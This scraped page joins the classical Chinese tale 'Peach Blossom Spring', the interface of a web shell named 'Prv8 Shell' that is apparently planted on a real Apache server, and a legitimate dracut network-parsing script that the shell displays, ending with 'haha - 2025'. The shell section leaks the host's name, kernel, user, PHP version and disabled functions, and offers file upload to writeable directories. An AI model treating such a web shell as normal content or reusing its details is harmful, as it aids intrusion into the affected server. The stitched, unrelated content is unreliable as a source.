晋太元中,武陵人捕鱼为业。缘溪行,忘路之远近。忽逢桃花林,夹岸数百步,中无杂树,芳草鲜美,落英缤纷。渔人甚异之,复前行,欲穷其林。   林尽水源,便得一山,山有小口,仿佛若有光。便舍船,从口入。初极狭,才通人。复行数十步,豁然开朗。土地平旷,屋舍俨然,有良田、美池、桑竹之属。阡陌交通,鸡犬相闻。其中往来种作,男女衣着,悉如外人。黄发垂髫,并怡然自乐。   见渔人,乃大惊,问所从来。具答之。便要还家,设酒杀鸡作食。村中闻有此人,咸来问讯。自云先世避秦时乱,率妻子邑人来此绝境,不复出焉,遂与外人间隔。问今是何世,乃不知有汉,无论魏晋。此人一一为具言所闻,皆叹惋。余人各复延至其家,皆出酒食。停数日,辞去。此中人语云:“不足为外人道也。”(间隔 一作:隔绝)   既出,得其船,便扶向路,处处志之。及郡下,诣太守,说如此。太守即遣人随其往,寻向所志,遂迷,不复得路。   南阳刘子骥,高尚士也,闻之,欣然规往。未果,寻病终。后遂无问津者。 .
Prv8 Shell
Server : Apache
System : Linux srv.rainic.com 4.18.0-553.47.1.el8_10.x86_64 #1 SMP Wed Apr 2 05:45:37 EDT 2025 x86_64
User : rainic ( 1014)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
Directory :  /lib/dracut/modules.d/35network-legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //lib/dracut/modules.d/35network-legacy/parse-ip-opts.sh
#!/bin/sh
#
# Format:
#       ip=[dhcp|on|any]
#
#       ip=<interface>:[dhcp|on|any][:[<mtu>][:<macaddr>]]
#
#       ip=<client-IP-number>:<server-IP-number>:<gateway-IP-number>:<netmask>:<client-hostname>:<interface>:{dhcp|on|any|none|off}[:[<mtu>][:<macaddr>]]
#
# When supplying more than only ip= line, <interface> is mandatory and
# bootdev= must contain the name of the primary interface to use for
# routing,dns,dhcp-options,etc.
#

command -v getarg >/dev/null          || . /lib/dracut-lib.sh

if [ -n "$netroot" ] && [ -z "$(getarg ip=)" ] && [ -z "$(getarg BOOTIF=)" ]; then
    # No ip= argument(s) for netroot provided, defaulting to DHCP
    return;
fi

# Count ip= lines to decide whether we need bootdev= or not
if [ -z "$NEEDBOOTDEV" ] ; then
    count=0
    for p in $(getargs ip=); do
        case "$p" in
            ibft)
                continue;;
        esac
        count=$(( $count + 1 ))
    done
    [ $count -gt 1 ] && NEEDBOOTDEV=1
fi
unset count

# If needed, check if bootdev= contains anything usable
BOOTDEV=$(getarg bootdev=)

if [ -n "$NEEDBOOTDEV" ] && getargbool 1 rd.neednet; then
    #[ -z "$BOOTDEV" ] && warn "Please supply bootdev argument for multiple ip= lines"
    echo "rd.neednet=1" > /etc/cmdline.d/dracut-neednet.conf
    info "Multiple ip= arguments: assuming rd.neednet=1"
else
    unset NEEDBOOTDEV
fi

# Check ip= lines
# XXX Would be nice if we could errorcheck ip addresses here as well
for p in $(getargs ip=); do
    ip_to_var $p

    # make first device specified the BOOTDEV
    if [ -n "$NEEDBOOTDEV" ] && [ -z "$BOOTDEV" ] && [ -n "$dev" ]; then
        BOOTDEV="$dev"
        info "Setting bootdev to '$BOOTDEV'"
    fi

    # skip ibft since we did it above
    [ "$autoconf" = "ibft" ] && continue

    # Empty autoconf defaults to 'dhcp'
    if [ -z "$autoconf" ] ; then
        warn "Empty autoconf values default to dhcp"
        autoconf="dhcp"
    fi

    # Error checking for autoconf in combination with other values
    for autoopt in $(str_replace "$autoconf" "," " "); do
        case $autoopt in
            error) die "Error parsing option 'ip=$p'";;
            bootp|rarp|both) die "Sorry, ip=$autoopt is currenty unsupported";;
            none|off)
                [ -z "$ip" ] && \
                    die "For argument 'ip=$p'\nValue '$autoopt' without static configuration does not make sense"
                [ -z "$mask" ] && \
                    die "Sorry, automatic calculation of netmask is not yet supported"
                ;;
            auto6);;
            either6);;
            dhcp|dhcp6|on|any) \
                [ -n "$NEEDBOOTDEV" ] && [ -z "$dev" ] && \
                    die "Sorry, 'ip=$p' does not make sense for multiple interface configurations"
                [ -n "$ip" ] && \
                    die "For argument 'ip=$p'\nSorry, setting client-ip does not make sense for '$autoopt'"
                ;;
            *) die "For argument 'ip=$p'\nSorry, unknown value '$autoopt'";;
        esac
    done

    if [ -n "$dev" ] ; then
        # We don't like duplicate device configs
        if [ -n "$IFACES" ] ; then
            for i in $IFACES ; do
                [ "$dev" = "$i" ] && die "For argument 'ip=$p'\nDuplication configurations for '$dev'"
            done
        fi
        # IFACES list for later use
        IFACES="$IFACES $dev"

        # Interface should exist
        if [ ! -e "/sys/class/net/$dev" ]; then
            warn "Network interface '$dev' does not exist"
        fi
    fi

    # Do we need to check for specific options?
    if [ -n "$NEEDDHCP" ] || [ -n "$DHCPORSERVER" ] ; then
        # Correct device? (Empty is ok as well)
        [ "$dev" = "$BOOTDEV" ] || continue
        # Server-ip is there?
        [ -n "$DHCPORSERVER" ] && [ -n "$srv" ] && continue
        # dhcp? (It's simpler to check for a set ip. Checks above ensure that if
        # ip is there, we're static
        [ -z "$ip" ] && continue
        # Not good!
        die "Server-ip or dhcp for netboot needed, but current arguments say otherwise"
    fi

    if str_starts "$dev" "enx" && [ ${#dev} -eq 15 ]; then
        printf -- "ifname=%s:%s:%s:%s:%s:%s:%s\n" \
               "$dev" \
               "${dev:3:2}" \
               "${dev:5:2}" \
               "${dev:7:2}" \
               "${dev:9:2}" \
               "${dev:11:2}" \
               "${dev:13:2}" >> /etc/cmdline.d/80-enx.conf
    fi
done

# put BOOTIF in IFACES to make sure it comes up
if getargbool 1 "rd.bootif" && BOOTIF="$(getarg BOOTIF=)"; then
    BOOTDEV=$(fix_bootif $BOOTIF)
    IFACES="$BOOTDEV $IFACES"
fi

# This ensures that BOOTDEV is always first in IFACES
if [ -n "$BOOTDEV" ] && [ -n "$IFACES" ] ; then
    IFACES="${IFACES%$BOOTDEV*} ${IFACES#*$BOOTDEV}"
    IFACES="$BOOTDEV $IFACES"
fi

# Store BOOTDEV and IFACES for later use
[ -n "$BOOTDEV" ] && echo $BOOTDEV > /tmp/net.bootdev
[ -n "$IFACES" ]  && echo $IFACES > /tmp/net.ifaces

haha - 2025